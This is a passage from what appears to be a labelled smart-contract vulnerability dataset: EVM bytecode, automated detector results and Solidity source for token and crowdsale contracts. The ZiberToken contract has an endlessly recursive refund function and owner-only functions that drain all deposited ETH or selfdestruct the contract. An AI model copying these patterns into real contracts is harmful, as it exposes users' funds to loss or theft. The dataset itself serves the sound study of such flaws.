5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a06ccbba6d2a8ff30ed22f74438b66efec8d24f04426cf049595822f143a17164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,834
0x1B455D30c2e46F6ecb6fA022791fa7C1bCe8bB62
pragma solidity ^0.4.13; /* Ziber.io Contract ======================== Buys ZBR tokens from the DAO crowdsale on your behalf. Author: /u/Leo */ // Interface to ZBR ICO Contract contract DaoToken { uint256 public CAP; uint256 public totalEthers; function proxyPayment(address participant) payable; function transfer(address _to, uint _amount) returns (bool success); } contract ZiberToken { // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Store whether or not each account would have made it into the crowdsale. mapping (address => bool) public checked_in; // Bounty for executing buy. uint256 public bounty; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record the time the contract bought the tokens. uint256 public time_bought; // Emergency kill switch in case a critical bug is found. bool public kill_switch; /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; // Ratio of ZBR tokens received to ETH contributed // 1.000.000 BGP = 80.000.000 ZBR // 1ETH = 218 BGP (03.07.2017: https://www.coingecko.com/en/price_charts/ethereum/gbp) // 1 ETH = 17440 ZBR uint256 ZBR_per_eth = 17440; //Total ZBR Tokens Reserve uint256 ZBR_total_reserve = 100000000; // ZBR Tokens for Developers uint256 ZBR_dev_reserved = 10000000; // ZBR Tokens for Selling over ICO uint256 ZBR_for_selling = 80000000; // ZBR Tokens for Bounty uint256 ZBR_for_bounty= 10000000; // ETH for activate kill-switch in contract uint256 ETH_to_end = 50000 ether; uint registredTo; uint256 loadedRefund; uint256 _supply; string _name; string _symbol; uint8 _decimals; // The ZBR Token address and sale address are the same. DaoToken public token = DaoToken(0xa9d585CE3B227d69985c3F7A866fE7d0e510da50); // The developer address. address developer_address = 0x650887B33BFA423240ED7Bc4BD26c66075E3bEaf; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function ZiberToken() { /* if supply not given then generate 100 million of the smallest unit of the token */ _supply = 10000000000; /* Unless you add other functions these variables will never change */ balanceOf[msg.sender] = _supply; name = "ZIBER CW Tokens"; symbol = "ZBR"; /* If you want a divisible token then add the amount of decimals the base unit has */ decimals = 2; } /// SafeMath contract - math operations with safety checks /// @author <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="fe9a9b88be8d939f8c8a9d91908a8c9f9d8a9b9f93d09d9193">[email&#160;protected]</a> function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } /** * Allow load refunds back on the contract for the refunding. * * The team can transfer the funds back on the smart contract in the case the minimum goal was not reached.. */ function loadRefund() payable { if(msg.value == 0) throw; loadedRefund = safeAdd(loadedRefund, msg.value); } /** * Investors can claim refund. */ function refund() private { uint256 weiValue = this.balance; if (weiValue == 0) throw; uint256 weiRefunded; weiRefunded = safeAdd(weiRefunded, weiValue); refund(); if (!msg.sender.send(weiValue)) throw; } /* Send coins */ function transfer(address _to, uint256 _value) { /* if the sender doenst have enough balance then stop */ if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; /* Add and subtract new balances */ balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; /* Notifiy anyone listening that this transfer took place */ Transfer(msg.sender, _to, _value); } // Allows the developer to shut down everything except withdrawals in emergencies. function activate_kill_switch() { // Only allow the developer to activate the kill switch. if (msg.sender != developer_address) throw; // Irreversibly activate the kill switch. kill_switch = true; } // Withdraws all ETH deposited or ZBR purchased by the sender. function withdraw(){ // If called before the ICO, cancel caller&#39;s participation in the sale. if (!bought_tokens) { // Store the user&#39;s balance prior to withdrawal in a temporary variable. uint256 eth_amount = balances[msg.sender]; // Update the user&#39;s balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; // Return the user&#39;s funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_amount); } // Withdraw the sender&#39;s tokens if the contract has already purchased them. else { // Store the user&#39;s ZBR balance in a temporary variable (1 ETHWei -> 2000 ZBRWei). uint256 ZBR_amount = balances[msg.sender] * ZBR_per_eth; // Update the user&#39;s balance prior to sending ZBR to prevent recursive call. balances[msg.sender] = 0; // No fee for withdrawing if the user would have made it into the crowdsale alone. uint256 fee = 0; // 1% fee if the user didn&#39;t check in during the crowdsale. if (!checked_in[msg.sender]) { fee = ZBR_amount / 100; // Send any non-zero fees to developer. if(!token.transfer(developer_address, fee)) throw; } // Send the user their tokens. Throws if the crowdsale isn&#39;t over. if(!token.transfer(msg.sender, ZBR_amount - fee)) throw; } } // Allow developer to add ETH to the buy execution bounty. function add_to_bounty() payable { // Only allow the developer to contribute to the buy execution bounty. if (msg.sender != developer_address) throw; // Disallow adding to bounty if kill switch is active. if (kill_switch) throw; // Disallow adding to the bounty if contract has already bought the tokens. if (bought_tokens) throw; // Update bounty to include received amount. bounty += msg.value; } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function claim_bounty(){ // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Disallow buying into the crowdsale if kill switch is active. if (kill_switch) throw; // Record that the contract has bought the tokens. bought_tokens = true; // Record the time the contract bought the tokens. time_bought = now + 1 days; // Transfer all the funds (less the bounty) to the ZBR crowdsale contract // to buy tokens. Throws if the crowdsale hasn&#39;t started yet or has // already completed, preventing loss of funds. token.proxyPayment.value(this.balance - bounty)(address(this)); // Send the caller their bounty for buying tokens for the contract. if(this.balance > ETH_to_end) { msg.sender.transfer(bounty); } else { time_bought = now + 1 days * 9; if(this.balance > ETH_to_end) { msg.sender.transfer(bounty); } } } //Check is msg_sender is contract dev modifier onlyOwner() { if (msg.sender != developer_address) { throw; } _; } // Send fund when ico end function withdrawEth() onlyOwner { msg.sender.transfer(this.balance); } //Kill contract function kill() onlyOwner { selfdestruct(developer_address); } // A helper function for the default function, allowing contracts to interact. function default_helper() payable { // Treat near-zero ETH transactions as check ins and withdrawal requests. if (msg.value <= 1 finney) { // Check in during the crowdsale. if (bought_tokens) { // Only allow checking in before the crowdsale has reached the cap. if (token.totalEthers() >= token.CAP()) throw; // Mark user as checked in, meaning they would have been able to enter alone. checked_in[msg.sender] = true; } // Withdraw funds if the crowdsale hasn&#39;t begun yet or is already over. else { withdraw(); } } // Deposit the user&#39;s funds for use in purchasing tokens. else { // Disallow deposits if kill switch is active. if (kill_switch) throw; // Only allow deposits if the contract hasn&#39;t already purchased the tokens. if (bought_tokens) throw; // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } } // Default function. Called when a user sends ETH to the contract. function () payable { // Delegate to the helper function. default_helper(); } }
0x60606040523615610110576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302f580151461012157806306fdde031461013657806327e235e3146101c5578063313ce567146102125780633ccfd60b1461024157806341c0e1b514610256578063434f5f271461026b5780635259347d146102bc57806362f5ed61146102c65780636360fc3f146102d057806370144f8f146102fd57806370a0823114610312578063876121021461035f578063943dfef11461036957806395d89b4114610392578063a089feea14610421578063a0ef91df1461044e578063a9059cbb14610463578063c3dac9a1146104a5578063fc0c546a146104ce575b61011f5b61011c610523565b5b565b005b341561012c57600080fd5b610134610794565b005b341561014157600080fd5b6101496109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018a5780820151818401525b60208101905061016e565b50505050905090810190601f1680156101b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d057600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a55565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610225610a6d565b604051808260ff1660ff16815260200191505060405180910390f35b341561024c57600080fd5b610254610a80565b005b341561026157600080fd5b610269610e66565b005b341561027657600080fd5b6102a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f00565b604051808215151515815260200191505060405180910390f35b6102c4610523565b005b6102ce610f20565b005b34156102db57600080fd5b6102e3610fc3565b604051808215151515815260200191505060405180910390f35b341561030857600080fd5b610310610fd6565b005b341561031d57600080fd5b610349600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611050565b6040518082815260200191505060405180910390f35b610367611068565b005b341561037457600080fd5b61037c61108b565b6040518082815260200191505060405180910390f35b341561039d57600080fd5b6103a5611091565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e65780820151818401525b6020810190506103ca565b50505050905090810190601f1680156104135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042c57600080fd5b61043461112f565b604051808215151515815260200191505060405180910390f35b341561045957600080fd5b610461611142565b005b341561046e57600080fd5b6104a3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111f9565b005b34156104b057600080fd5b6104b86113d6565b6040518082815260200191505060405180910390f35b34156104d957600080fd5b6104e16113dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b66038d7ea4c680003411151561071057600360009054906101000a900460ff161561070257601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ec81b4836000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156105d657600080fd5b6102c65a03f115156105e757600080fd5b50505060405180519050601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a4625af6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561067f57600080fd5b6102c65a03f1151561069057600080fd5b505050604051805190501015156106a657600080fd5b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061070b565b61070a610a80565b5b610791565b600560009054906101000a900460ff161561072a57600080fd5b600360009054906101000a900460ff161561074457600080fd5b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5b565b600360009054906101000a900460ff16156107ae576109b5565b600560009054906101000a900460ff16156107c857600080fd5b6001600360006101000a81548160ff021916908315150217905550620151804201600481905550601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f48c30546002543073ffffffffffffffffffffffffffffffffffffffff163103306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15156108c657600080fd5b6125ee5a03f115156108d757600080fd5b50505050600e543073ffffffffffffffffffffffffffffffffffffffff16311115610943573373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f19350505050151561093e57600080fd5b6109b4565b620bdd804201600481905550600e543073ffffffffffffffffffffffffffffffffffffffff163111156109b3573373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015156109b257600080fd5b5b5b5b565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60006020528060005260406000206000915090505481565b600860009054906101000a900460ff1681565b6000806000600360009054906101000a900460ff161515610b65576000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610b6057600080fd5b610e60565b6009546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205402915060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060009050600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d6a57606482811515610c5157fe5b049050601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610d4357600080fd5b6102c65a03f11515610d5457600080fd5b505050604051805190501515610d6957600080fd5b5b601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338385036000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610e3957600080fd5b6102c65a03f11515610e4a57600080fd5b505050604051805190501515610e5f57600080fd5b5b5b505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec257600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b5b565b60016020528060005260406000206000915054906101000a900460ff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7c57600080fd5b600560009054906101000a900460ff1615610f9657600080fd5b600360009054906101000a900460ff1615610fb057600080fd5b346002600082825401925050819055505b565b600360009054906101000a900460ff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103257600080fd5b6001600560006101000a81548160ff0219169083151502179055505b565b60166020528060005260406000206000915090505481565b600034141561107657600080fd5b61108260105434611402565b6010819055505b565b60025481565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111275780601f106110fc57610100808354040283529160200191611127565b820191906000526020600020905b81548152906001019060200180831161110a57829003601f168201915b505050505081565b600560009054906101000a900460ff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156111f557600080fd5b5b5b565b80601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561124557600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110156112d257600080fd5b80601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050565b60045481565b601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828401905061142284821015801561141d5750838210155b61142d565b8091505b5092915050565b80151561143957600080fd5b5b505600a165627a7a72305820b3b86b6cf7f0a32a9ca1bf3ecefc1f91c55b890a15f2fc70456df640f90005d40029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,835
0x64256f44ee027bc405a56291a13ee91c90fd11c5
/** *Submitted for verification at Etherscan.io on 2021-01-16 */ pragma solidity ^0.7.0; interface ERC165 { function supportsInterface(bytes4 _interfaceId) external view returns (bool); } interface IERC1155 /* is ERC165 */ { event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _value, uint256 indexed _id); function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool); function creators(uint256 artwork) external view returns (address); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns 